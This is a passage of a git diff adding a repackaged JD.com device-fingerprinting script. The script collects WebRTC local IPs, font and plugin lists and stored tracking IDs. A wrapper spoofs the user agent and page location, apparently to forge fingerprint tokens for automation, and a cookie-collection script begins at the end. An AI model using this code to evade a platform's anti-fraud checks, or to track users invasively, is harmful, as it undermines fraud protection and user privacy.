D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000..228dfb7 --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== 